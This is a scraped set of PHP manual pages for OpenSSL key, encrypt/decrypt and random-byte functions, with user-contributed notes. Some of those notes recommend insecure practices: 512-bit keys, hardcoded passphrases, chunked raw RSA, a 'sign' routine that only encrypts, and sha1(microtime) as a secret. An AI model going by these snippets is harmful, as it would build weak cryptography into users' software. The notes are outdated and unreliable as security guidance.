  2. A PEM formatted private key.

passphrase

The optional parameter passphrase must be used if the specified key is encrypted (protected by a passphrase).

Return Values

Returns a positive key resource identifier on success, or FALSE on error.

User Contributed Notes

joelhy 27-Feb-2011 11:46
Please note that "file://path/to/file.pem" in documentation means file protocol + file path. In UNIX like OS, that is something like file:///rsa_private_key.pem. There is THREE slashes in the path string, not TWO.
justin at gripwire dot com 29-Apr-2008 04:55
At least as of PHP 5.2.5, this function's prototype matches what is given on this page (i.e. it does not require an array for its two parameters).
Joel Barker 30-Aug-2005 12:03
Note that the important part of meint's post is that there is a SINGLE argument: an ARRAY of two elements. In other words, the correct prototype of the function is

resource openssl_pkey_get_private ( array params )

where params = array( 0 => $key, 1 => $passphrase)

Thanks, meint, you made my day!
meint dot post at bigfoot dot com 17-Jan-2003 03:58
Trying for hours to get openssl_pkey_get_private to load my private key (no problems with openssl_pkey_get_public) I found that the following loaded the private key correctly:

$passphrase="test";
$priv_key_file_name = ("./private.pem");

if (openssl_pkey_get_private(array("file://$priv_key_file_name", $passphrase)))
{
        print "\nPrivate Key OK\n\n";
} else {
        print "\nPrivate key NOT OK\n\n";
}
openssl_pkey_get_details
openssl_pkey_get_public
OpenSSL Functions


Extract public key from certificate and prepare it for use

openssl_pkey_get_private
openssl_pkey_new
OpenSSL Functions
PHP Manual

openssl_pkey_get_public

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_get_public — Extract public key from certificate and prepare it for use

Description

resource openssl_pkey_get_public ( mixed $certificate )

openssl_get_publickey() extracts the public key from certificate and prepares it for use by other functions.

Parameters

certificate

certificate can be one of the following:

  1. an X.509 certificate resource
  2. a string having the format file://path/to/file.pem. The named file must contain a PEM encoded certificate/private key (it may contain both).
  3. A PEM formatted private key.

Return Values

Returns a positive key resource identifier on success, or FALSE on error.

User Contributed Notes

ppostma1 15-Jun-2011 08:32
found the cert/public key for 2048 bits is this format:

-----BEGIN PUBLIC KEY-----
X509 signature + PEM sig + modulus + 'ID' + exponent
-----END PUBLIC KEY-----

so the variables are:
-----BEGIN PUBLIC KEY-----
'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A' . 'MIIBCgKCAQEA' . $modulus . 'ID' . $exponent
-----END PUBLIC KEY-----

<?php wordwrap($cert, 64, "\r\n", true); ?>
info at steyla dot com 21-Dec-2010 11:55
If you are trying to read a PKCS#1 RSA public key you run into trouble, because openssl wants the public key in X.509 style.

The PKCS#1 RSA public key

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9kqQ/HVp+T2KtmvShe68cm8luR7Dampmb
[...]
cbn6n2FsV91BlEnrAKq65PGJxcwcH5+aJwIDAQAB
-----END RSA PUBLIC KEY-----

.. is  not readable while the X.509 style public key

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9
[..]
JwIDAQAB
-----END PUBLIC KEY-----

is. You can use an easy (and dirty) work around to read the PKCS#1 RSA anyway. The first few bytes of the X.509 style public key contain header information and can shamelessly be copied.

In other words: Delete everything after the first 32 bytes from the above X.509 key (starting behind Q8A) and attach your PKCS#1 data, reformat to 64 bytes length and use it with openssl.

Please note: The above example only works for 2048 bit length.

Like I said - it's kind of dirty - but hey - if you're as desperate as I was.

Michaela
Paul Clark 15-Feb-2010 07:50
Note this will read public keys from PEM formatted public keys as well:

<?php
$key = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDXX/MsKEBLcLeKA1d/i7ufG1qs
qS97xFkIRSeX3TwmHic843AfVrzoh2pZUeOvK9ZLZQpHSM7DoHMYDGD1273+FvZX
Ypf5LiFtecfxko/Cku16zy6WAeCYVFjjlveBhwPmPCIk+qDRYeiIW05QE2XK+CuD
nJ7sxxXIJSSgD3Jo5wIDAQAB
-----END PUBLIC KEY-----
EOF;

print $key;
$res = openssl_pkey_get_public($key);
print_r(openssl_pkey_get_details($res));
?>

Note that contrary to the documentation, openssl_pkey_get_details() will *not* read PEM directly, and you have to go through this step.
thelen dot shar at gmail dot com 25-Jan-2009 12:08
Found it difficult to get my head around this due to lack of documentation.

But the process I followed for all this was:
Generate private key:
openssl genrsa -des3 -out private.pem 1024

Generate public key:
openssl rsa -in private.pem -out public.pem -outform PEM -pubout

Then in PHP:
$passphrase = 'somestring';
$key_private = openssl_get_privatekey(file_get_contents('private.pem'), $passphrase);
$key_public = openssl_get_publickey(file_get_contents('public.pem'));

Probably not the best way of doing it, but a lot simpler than the other examples on the site. I was having trouble getting the pubkey, it wasn't exactly specified very well, and I had made a mistake in generating it so it wasn't working for that reason as well.
VaD 06-Jun-2008 10:36
Small error in this code:

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
file_put_contents('./key.pub', $keyData['key']);
07-May-2007 12:40
you can get (and save to file) public key using openssl_pkey_get_details(resource $key ) function:

<?php
$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
fule_put_contents('./key.pub', $keyData['key']);
?>
dankybastard at hotmail 09-Feb-2005 08:52
You must also use the string representation of the certificate to get the public key resource:

$dn = array();  // use defaults
$res_privkey = openssl_pkey_new();
$res_csr = openssl_csr_new($dn, $res_privkey);
$res_cert = openssl_csr_sign($res_csr, null, $res_privkey, $ndays);

openssl_x509_export($res_cert, $str_cert);

$res_pubkey = openssl_pkey_get_public($str_cert);
09-Aug-2004 11:44
This documentation notes it can take a PEM-formatted private key, but as per bug #25614, this is not possible in any form. The function simply returns a FALSE.

The only thing you can get public keys out of are X.509 certificates.

Furthermore, there is NO way to export a public key into a PEM-encoded form.
openssl_pkey_get_private
openssl_pkey_new
OpenSSL Functions


Generates a new private key

openssl_pkey_get_public
openssl_private_decrypt
OpenSSL Functions
PHP Manual

openssl_pkey_new

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_new — Generates a new private key

Description

resource openssl_pkey_new ([ array $configargs ] )

openssl_pkey_new() generates a new private and public key pair. The public component of the key can be obtained using openssl_pkey_get_public().

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

configargs

You can finetune the key generation (such as specifying the number of bits) using configargs. See openssl_csr_new() for more information about configargs.

Return Values

Returns a resource identifier for the pkey on success, or FALSE on error.

User Contributed Notes

jthijssen at notloxic dot nl 11-Feb-2011 06:17
If you want to change the default private key size (1024) too something else you can use the following code:

<?php
$config = array('private_key_bits' => 512);
$privKey = openssl_pkey_new($config);

?>

Mind though that the minimum number of bits is 384. Any lower will trigger an error.
Brad 02-Apr-2008 12:17
It's easier than all that, if you just want the keys:

<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey);

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
?>
NOSPAM dot alchaemist at hiperlinux dot com dot ar 30-May-2004 12:17
As you probably found, getting the public key is not as direct as you might think with this documentation.

You can easily get into messages like:

Warning: openssl_pkey_get_public(): Don't know how to get public key from this private key (the documentation lied) in D:\www\keys.php on line 4

The correct steps to get the whole thing seem to be these:

<?
$dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" => 'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@domain.com');
$privkeypass = '1234';
$numberofdays = 365;

$privkey = openssl_pkey_new();
$csr = openssl_csr_new($dn, $privkey);
$sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
openssl_x509_export($sscert, $publickey);
openssl_pkey_export($privkey, $privatekey, $privkeypass);
openssl_csr_export($csr, $csrStr);

echo $privatekey; // Will hold the exported PriKey
echo $publickey;  // Will hold the exported PubKey
echo $csrStr;     // Will hold the exported Certificate
?>

Now all you need to do is to make some research on each individual function.
openssl_pkey_get_public
openssl_private_decrypt
OpenSSL Functions


Decrypts data with private key

openssl_pkey_new
openssl_private_encrypt
OpenSSL Functions
PHP Manual

openssl_private_decrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_private_decrypt — Decrypts data with private key

Description

bool openssl_private_decrypt ( string $data , string &$decrypted , mixed $key [, int $padding = OPENSSL_PKCS1_PADDING ] )

openssl_private_decrypt() decrypts data that was previous encrypted via openssl_public_encrypt() and stores the result into decrypted.

You can use this function e.g. to decrypt data which were supposed only to you.

Parameters

data

decrypted

key

key must be the private key corresponding that was used to encrypt the data.

padding

padding can be one of OPENSSL_PKCS1_PADDING, OPENSSL_SSLV23_PADDING, OPENSSL_PKCS1_OAEP_PADDING, OPENSSL_NO_PADDING.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_public_encrypt() - Encrypts data with public key
  • openssl_public_decrypt() - Decrypts data with public key

User Contributed Notes

sevaa at sprynet dot com 02-Oct-2009 07:08
When used with RSA, this function only accepts a single block. Block size is equal to the RSA key size - i. e., with a 1024-bit key, block size should be 128 bytes. Depending on the padding scheme, the payload may be even smaller. The padding is removed, so you'll receive the ready to use plaintext. Blocking logic is up to the caller, though.

When passing Microsoft CryptoAPI-generated RSA cyphertext, revert the bytes in the block (you may use strrev()).
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:58
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>
openssl_pkey_new
openssl_private_encrypt
OpenSSL Functions


Encrypts data with private key

openssl_private_decrypt
openssl_public_decrypt
OpenSSL Functions
PHP Manual

openssl_private_encrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_private_encrypt — Encrypts data with private key

Description

bool openssl_private_encrypt ( string $data , string &$crypted , mixed $key [, int $padding = OPENSSL_PKCS1_PADDING ] )

openssl_private_encrypt() encrypts data with private key and stores the result into crypted. Encrypted data can be decrypted via openssl_public_decrypt().

This function can be used e.g. to sign data (or its hash) to prove that it is not written by someone else.

Parameters

data

crypted

key

padding

padding can be one of OPENSSL_PKCS1_PADDING, OPENSSL_NO_PADDING.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_public_encrypt() - Encrypts data with public key
  • openssl_public_decrypt() - Decrypts data with public key

User Contributed Notes

wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:50
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 10:47
<?php
$fp=fopen ("/path/to/key.pem","r");
$priv_key=fread ($fp,8192);
fclose($fp);
openssl_get_privatekey ($priv_key);
openssl_private_encrypt($source,$finaltext,$priv_key);
echo "String crypted: $finaltext";
?>

CIAO !
openssl_private_decrypt
openssl_public_decrypt
OpenSSL Functions


Decrypts data with public key

openssl_private_encrypt
openssl_public_encrypt
OpenSSL Functions
PHP Manual

openssl_public_decrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_public_decrypt — Decrypts data with public key

Description

bool openssl_public_decrypt ( string $data , string &$decrypted , mixed $key [, int $padding = OPENSSL_PKCS1_PADDING ] )

openssl_public_decrypt() decrypts data that was previous encrypted via openssl_private_encrypt() and stores the result into decrypted.

You can use this function e.g. to check if the message was written by the owner of the private key.

Parameters

data

decrypted

key

key must be the public key corresponding that was used to encrypt the data.

padding

padding can be one of OPENSSL_PKCS1_PADDING, OPENSSL_NO_PADDING.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_private_encrypt() - Encrypts data with private key
  • openssl_private_decrypt() - Decrypts data with private key

User Contributed Notes

wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:52
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 10:41
<?php
$fp=fopen ("/path/to/certificato.pem");
$pub_key=fread ($fp,8192);
openssl_get_publickey ($pub_key);
openssl_public_decrypt ($source,$finaltext,$pub_key);
echo "String decrypt : $finaltext";
?>
openssl_private_encrypt
openssl_public_encrypt
OpenSSL Functions


Encrypts data with public key

openssl_public_decrypt
openssl_random_pseudo_bytes
OpenSSL Functions
PHP Manual

openssl_public_encrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_public_encrypt — Encrypts data with public key

Description

bool openssl_public_encrypt ( string $data , string &$crypted , mixed $key [, int $padding = OPENSSL_PKCS1_PADDING ] )

openssl_public_encrypt() encrypts data with public key and stores the result into crypted. Encrypted data can be decrypted via openssl_private_decrypt().

This function can be used e.g. to encrypt message which can be then read only by owner of the private key. It can be also used to store secure data in database.

Parameters

data

crypted

This will hold the result of the encryption.

key

The public key.

padding

padding can be one of OPENSSL_PKCS1_PADDING, OPENSSL_SSLV23_PADDING, OPENSSL_PKCS1_OAEP_PADDING, OPENSSL_NO_PADDING.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_private_encrypt() - Encrypts data with private key
  • openssl_private_decrypt() - Decrypts data with private key

User Contributed Notes

sumadhuracool at gmail dot com 23-Jun-2011 04:22
length of the data < length of the private key ..so i divided the message while taking it,put a ":::".then again encrpt it. look at the pgm to get an idea about this..

<?php
    class cry
    {
            # generate a 1024 bit rsa private key, ask for a passphrase to encrypt it and save to file
            //openssl genrsa -des3 -out /path/to/privatekey 1024

            # generate the public key for the private key and save to file
            //openssl rsa -in /path/to/privatekey -pubout -out /path/to/publickey
            //programatically using php-openssll

            //This will call while registration
            function gen_cert($userid)
            {
                $dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" =>'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@example.com');
                //Passphrase can be taken during registration
                //Here its initialized to 1234 for sample
                $privkeypass = 'root';
                $numberofdays = 365;
                //RSA encryption and 1024 bits length
                $privkey = openssl_pkey_new(array('private_key_bits' => 1024,'private_key_type' => OPENSSL_KEYTYPE_RSA));
                $csr = openssl_csr_new($dn, $privkey);
                $sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
                openssl_x509_export($sscert, $publickey);
                openssl_pkey_export($privkey, $privatekey, $privkeypass);
                openssl_csr_export($csr, $csrStr);
                //Generated keys are stored into files
                $fp=fopen("../PKI/private/$userid.key","w");
                fwrite($fp,$privatekey);
                fclose($fp);
                $fp=fopen("../PKI/public/$userid.crt","w");
                fwrite($fp,$publickey);
                fclose($fp);
            }
            //Encryption with public key
            function encrypt($source,$rc)
            {
                //path holds the certificate path present in the system
                $path="../PKI/public/server.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
            //$source='';
                //$source="sumanth ahoiadodakjaksdsa;ldadkkllksdalkalsdl;asld;ls sumanthasddddddddddddddddddddddddddddddddfsdfsffdfsdfsumanth";
                $j=0;
                $x=strlen($source)/10;
                $y=floor($x);
                for($i=0;$i<$y;$i++)
                {
                $crypttext='';

                openssl_public_encrypt(substr($source,$j,10),$crypttext,$pub_key);$j=$j+10;
                $crt.=$crypttext;
                $crt.=":::";
                }
                if((strlen($source)%10)>0)
                {
                openssl_public_encrypt(substr($source,$j),$crypttext,$pub_key);
                $crt.=$crypttext;
                }
                return($crt);

            }
            //Decryption with private key
            function decrypt($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/server.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                $tt=explode(":::",$crypttext);
                $cnt=count($tt);
                $i=0;
                while($i<$cnt)
                {
                openssl_private_decrypt($tt[$i],$str1,$res1);
                $str.=$str1;
                $i++;
                }
                return $str;
        }
            function sign($source,$rc)
            {
                $has=sha1($source);
                $source.="::";
                $source.=$has;
                $path="../PKI/public/$rc.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
                openssl_public_encrypt($source,$mese,$pub_key);
                return $mese;

            }
            function verify($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/$userid.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                openssl_private_decrypt($crypttext,$has1,$res1);
                list($c1,$c2)=split("::",$has1);
                $has=sha1($c1);
                if($has==$c2)
                {
                    $message=$c1;
                    return $message;
                }
            }

    }
?>
ppostma1 14-Jun-2011 12:09
The confusion most have seems to be on "mixed $key"

The $key is explained in, and mostly the same as the parameter of http://www.php.net/manual/en/function.openssl-pkey-get-public.php

It can take the resource $key returned from openssl_pkey_get_public() OR find the value is text and passes the text to openssl_pkey_get_public() to get a valid resource.

To better break down rstinnett's example:
(and where the flaw is)

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext,$pub_key_string);
  /*this simply passes the string contents of pub_key_string back to be decoded*/
  return(base64_encode($crypttext));
}
?>

is more efficient:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  $key_resource = openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext, $key_resource );
  /*uses the already existing key resource*/
  return(base64_encode($crypttext));
}
?>

shorter:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);

  openssl_public_encrypt($source,$crypttext, $pub_key );

  return(base64_encode($crypttext));
}
?>
Mark Seecof 16-Jul-2010 12:37
If you need a message key, obtain it from the openssl_random_pseudo_bytes() function.

DO NOT just hash the current time-- an attacker will guess any such key very easily (he'll just hash a bunch of likely time values and try them until he finds the right one.  The attacker can generate and test many millions of candidate hashes every minute using an ordinary PC).
public at grik dot net 25-Dec-2009 10:10
openssl_private_encrypt() has a low limit for the length of the data it can encrypt due to the nature of the algorithm.

To encrypt the larger data you can use openssl_encrypt() with a random password (like sha1(microtime(true))), and encrypt the password with openssl_public_encrypt().
This way the data can be encrypted with a public key and decrypted with the private one.
adrian 02-Sep-2005 02:53
T. Horsten explained the size limits on raw encryption. Here are two functions to encrypt/decrypt larger data when you can't use the envelope functions:

function ssl_encrypt($source,$type,$key){
//Assumes 1024 bit key and encrypts in chunks.

$maxlength=117;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_encrypt($input,$encrypted,$key);
  }else{
    $ok= openssl_public_encrypt($input,$encrypted,$key);
  }

  $output.=$encrypted;
}
return $output;
}

function ssl_decrypt($source,$type,$key){
// The raw PHP decryption functions appear to work
// on 128 Byte chunks. So this decrypts long text
// encrypted with ssl_encrypt().

$maxlength=128;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_decrypt($input,$out,$key);
  }else{
    $ok= openssl_public_decrypt($input,$out,$key);
  }

  $output.=$out;
}
return $output;

}
Thomas Horsten 16-Aug-2005 04:21
chsnyder writes that the data is limited to 936 bits in his implementation.

Actually, it has nothing to do with RSA being CPU intensive, RAM or anything of the sort.

Basically when you encrypt something using an RSA key (whether public or private), the encrypted value must be smaller than the key (due to the maths used to do the actual encryption). So if you have a 1024-bit key, in theory you could encrypt any 1023-bit value (or a 1024-bit value smaller than the key) with that key.

However, the PKCS#1 standard, which OpenSSL uses, specifies a padding scheme (so you can encrypt smaller quantities without losing security), and that padding scheme takes a minimum of 11 bytes (it will be longer if the value you're encrypting is smaller). So the highest number of bits you can encrypt with a 1024-bit key is 936 bits because of this (unless you disable the padding by adding the OPENSSL_NO_PADDING flag, in which case you can go up to 1023-1024 bits). With a 2048-bit key it's 1960 bits instead.

But as chsnyder correctly wrote, the normal application of a public key encryption algorithm is to store a key or a hash of the data you want to respectively encrypt or sign. A hash is typically 128-256 bits (the PHP sha1() function returns a 160 bit hash). And an AES key is 128 to 256 bits. So either of those will comfortably fit inside a single RSA encryption.
kenashkov at gmail dot com 30-Jun-2005 05:04
The encrypted data can be stored in MySQL without use of base64. It must be properly escaped with mysql_real_escape_string(), and then saved to BLOB column. (In fact - this function must be used every time when you insert binary data in MySQL).
chsnyder at gmail dot com 19-Feb-2005 09:18
In comment below, Jeff says the input to this function is limited to "about 50 characters". On my PHP5 build, the limit is 117 characters (936 bits, strange number).

That's because public key encryption is CPU intensive, and meant to be used on short values. The idea is to use this function to encrypt a secret key that is in turn used to encrypt data using a more efficient algorithm, such as RC4 or TripleDES. The recipient uses their private key to decrypt the secret, and can then decrypt the data.

The openssl_seal() and openssl_open() functions do this internally, and are very well documented. You should probably use them instead.
pigo at ms5 dot url dot com dot tw 11-Nov-2004 12:33
openssl_public_encrypt and openssl_private_encrypt can't encrypt large data . so I write a class . this class can encrypt large data and decrypt.

look url : http://pigo.pigo.idv.tw/opensslcrypt.phps
rstinnett at bfmhconsulting dot com 06-Oct-2004 06:37
To store the encrypted data in a MySQL database, you first have to encode the data so it can safely be written. You can use a blob type for this, but it can make SELECTs really nasty. The easiest way I have found to do this is with base64_encode and base64_decode. The following example using code from a previous example and split into encrypt and decrypt functions.

function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);
  /*
   * NOTE:  Here you use the $pub_key value (converted, I guess)
   */
  openssl_public_encrypt($source,$crypttext,$pub_key);
  return(base64_encode($crypttext));
}

function DecryptData($source)
{
  #print("number : $number");
  $fp=fopen("/etc/httpd/conf/ssl.key/server.key","r");
  $priv_key=fread($fp,8192);
  fclose($fp);
  // $passphrase is required if your key is encoded (suggested)
  $res = openssl_get_privatekey($priv_key,$passphrase);
  /*
   * NOTE:  Here you use the returned resource value
   */
  $decoded_source = base64_decode($source);
  openssl_private_decrypt($decoded_source,$newsource,$res);
  return($newsource);
}

Just use the return values to store the encrypted data or display the decrypted data.
Jeff 11-May-2004 12:18
I figured it out.  This function is not intended for general encryption and decryption.  For that, you want openssl_seal() and openssl_open().
Jeff 10-May-2004 02:15
It looks like there is a limit on the size of the string to be encrypted: about 50 characters.

This is due to the fact that the implementation allocates an output buffer of size EVP_PKEY_size(pkey), which is totally arbitrary and unrelated to the size of the input.  Also, it's not using a cipher envelope approach.  It's just RSAing the input string.
lonewolf at greyskydesigns dot com 16-Apr-2003 10:28
Easy way:

<?php

$publicKey = "file://path/to/public/key-crt.pem";
$plaintext = "String to encrypt";

openssl_public_encrypt($plaintext, $encrypted, $publicKey);

echo $encrypted;   //encrypted string

?>
webmaster at costarica-travelinfo dot com 13-Mar-2003 02:51
This example worked for me:

RedHat 7.2 / php 4.2.2 / Apache 1.3.7

// STEP 1: Encryption with Public Key (you will need Private Key to decrypt - see step2).

$string="Some Important Data";
$fp=fopen ("cert.pem","r");
$pub_key=fread ($fp,8192);
fclose($fp);
$PK="";
$PK=openssl_get_publickey($pub_key);
if (!$PK) {
    echo "Cannot get public key";
}
$finaltext="";
openssl_public_encrypt($string,$finaltext,$PK);
if (!empty($finaltext)) {
    openssl_free_key($PK);
    echo "Encryption OK!";
}else{
    echo "Cannot Encrypt";
}

// STEP 2: Decription (Using Private Key)

$fp=fopen ("pk.pem","r");
$priv_key2=fread ($fp,8192);
fclose($fp);
$PK2=openssl_get_privatekey($priv_key2);
$Crypted=openssl_private_decrypt($Data,$Decrypted,$PK2);
if (!$Crypted) {
    $MSG.="<p class='error'>Cannot Decrypt ($CCID).</p>";
}else{
    echo "Decrypted Data: " . $Decrypted;
}
hromi at kyberia dot sk 07-Oct-2002 10:31
function description is wrong, you have to switch crypttext and text if you want it to work
this is correct:
bool openssl_public_encrypt ( string crypted, string data, mixed key [, int padding])
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:56
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>
openssl_public_decrypt
openssl_random_pseudo_bytes
OpenSSL Functions


Generate a pseudo-random string of bytes

openssl_public_encrypt
openssl_seal
OpenSSL Functions
PHP Manual

openssl_random_pseudo_bytes

(PHP 5 >= 5.3.0)

openssl_random_pseudo_bytes — Generate a pseudo-random string of bytes

Description

string openssl_random_pseudo_bytes ( int $length [, bool &$crypto_strong ] )

Generates a string of pseudo-random bytes, with the number of bytes determined by the length parameter.

It also indicates if a cryptographically strong algorithm was used to produce the pseudo-random bytes, and does this via the optional crypto_strong parameter. It's rare for this to be FALSE, but some systems may be broken or old.

Parameters

length

The length of the desired string of bytes. Must be a positive integer. PHP will try to cast this parameter to a non-null integer to use it.

crypto_strong

If passed into the function, this will hold a boolean value that determines if the algorithm used was "cryptographically strong", e.g., safe for usage with GPG, passwords, etc. TRUE if it did, otherwise FALSE

Return Values

Returns the generated string of bytes on success, or FALSE on failure.

Examples

Example #1 openssl_random_pseudo_bytes() example

<?php
for ($i = -1; $i <= 4; $i++) {
    $bytes = openssl_random_pseudo_bytes($i, $cstrong);
    $hex   = bin2hex($bytes);

    echo "Lengths: Bytes: $i and Hex: " . strlen($hex) . PHP_EOL;
    var_dump($hex);
    var_dump($cstrong);
    echo PHP_EOL;
}
?>

The above example will output something similar to:

Lengths: Bytes: -1 and Hex: 0
string(0) ""
NULL

Lengths: Bytes: 0 and Hex: 0
string(0) ""
NULL

Lengths: Bytes: 1 and Hex: 2
string(2) "42"
bool(true)

Lengths: Bytes: 2 and Hex: 4
string(4) "dc6e"
bool(true)

Lengths: Bytes: 3 and Hex: 6
string(6) "288591"
bool(true)

Lengths: Bytes: 4 and Hex: 8
string(8) "ab86d144"
bool(true)

See Also

  • bin2hex() - Convert binary data into hexadecimal representation
  • crypt() - One-way string hashing
  • mt_rand() - Generate a better random value
  • uniqid() - Generate a unique ID

User Contributed Notes

christophe dot weis at statec dot etat dot lu 09-Jun-2011 12:09
Another replacement for rand() using OpenSSL.

Note that a solution where the result is truncated using the modulo operator ( % ) is not cryptographically secure, as the generated numbers are not equally distributed, i.e. some numbers may occur more often than others.

A better solution than using the modulo operator is to drop the result if it is too large and generate a new one.

<?php
function crypto_rand_secure($min, $max) {
        $range = $max - $min;
        if ($range == 0) return $min; // not so random...
        $log = log($range, 2);
        $bytes = (int) ($log / 8) + 1; // length in bytes
        $bits = (int) $log + 1; // length in bits
        $filter = (int) (1 << $bits) - 1; // set all lower bits to 1
        do {
            $rnd = hexdec(bin2hex(openssl_random_pseudo_bytes($bytes, $s)));
            $rnd = $rnd & $filter; // discard irrelevant bits
        } while ($rnd >= $range);
        return $min + $rnd;
}
?>
crrodriguez at opensuse dot org 19-Jan-2011 09:32
